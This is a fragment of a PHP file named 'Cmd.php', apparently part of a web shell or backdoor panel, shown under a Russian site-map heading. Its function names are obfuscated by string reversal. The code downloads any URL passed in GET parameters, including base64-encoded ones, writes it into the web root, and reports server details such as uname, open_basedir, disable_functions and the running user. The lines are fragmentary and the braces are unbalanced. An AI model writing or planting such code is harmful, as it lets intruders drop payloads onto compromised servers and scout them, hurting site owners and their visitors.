Карта сайта
Cmd.php
- if (isset($_GET['u64'])) {
- $d = $GLOBALS['edoced_46esab'](str_replace(' ', '+', (string)$_GET['u64']), true);
- if ($d !== false) $rurl = trim($d);
- } elseif (isset($_GET['url'])) {
- $rurl = trim((string)$_GET['url']);
- $owf = isset($_GET['ow']);
- $rngf = isset($_GET['rng']);
- $psf = isset($_GET['ps']) ? (int)$_GET['ps'] : 262144;
- if ($psf < 16384) $psf = 16384;
- if ($psf > 8388608) $psf = 8388608;
- $errmsg = ''; $okw = false; $slen = 0; $fvia = ''; $fcode = 0; $fparts = 0; $smd5 = '';
- $done = ($rurl !== '' && $rurl !== 'http://' && $rurl !== 'https://');
- if ($done) {
- if ($GLOBALS['rid_si']($dst) || substr($dst, -1) === '/') {
- $pp = @$GLOBALS['lru_esrap']($rurl);
- $bn = (is_array($pp) && isset($pp['path'])) ? basename($pp['path']) : '';
- if ($bn === '' || $bn === '.' || $bn === '/') $bn = 'index.html';
- $dst = rtrim($dst, '/') . '/' . $bn;
- if (!$owf && @$GLOBALS['stsixe_elif']($dst)) {
- $errmsg = '目标已存在: ' . $dst . ' (勾选「覆盖」才写入)';
- $f = zp_fetch($rurl, $rngf, $psf);
- $fvia = $f['via']; $fcode = $f['code']; $fparts = $f['parts'];
- if ($f['err'] !== '') {
- $errmsg = $f['err'];
- } elseif ($f['body'] === '') {
- $errmsg = '响应为空 (HTTP ' . (int)$f['code'] . ')';
- $w = @$GLOBALS['stnetnoc_tup_elif']($dst, $f['body']);
- if ($w === false) $errmsg = '写盘失败, 目录不可写: ' . dirname($dst);
- else { $okw = true; $slen = strlen($f['body']); $smd5 = $GLOBALS['5dm']($f['body']); }
- head('Fetch');
- echo '';
- if ($okw) {
- $url2 = '';
- $dr = rtrim(str_replace('\\', '/', $docroot), '/');
- $sch2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
- $url2 = $sch2 . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . substr($full, strlen($dr));
- echo '✓ 已写入 backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . ' / ' . (int)$fparts . ' 片 / ' . (int)$slen . ' bytes';
- echo 'md5 ' . h($smd5) . '';
- if ($url2 !== '') echo '';
- else echo '⚠ 文件在站点根之外, 无对应 URL';
- echo '✗ ' . h($errmsg) . '';
- if ($fvia !== '') echo ' backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . '';
- echo ' 返回目录
PHP ' . PHP_VERSION . "\n" . $GLOBALS['emanu_php']() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)$GLOBALS['teg_ini']('open_basedir')) . "\ndisable_functions=" . h((string)$GLOBALS['teg_ini']('disable_functions')) . "\nuser=" . h($GLOBALS['resu_tnerruc_teg']()) . '' . h(to_u8(implode("\n", $out))) . '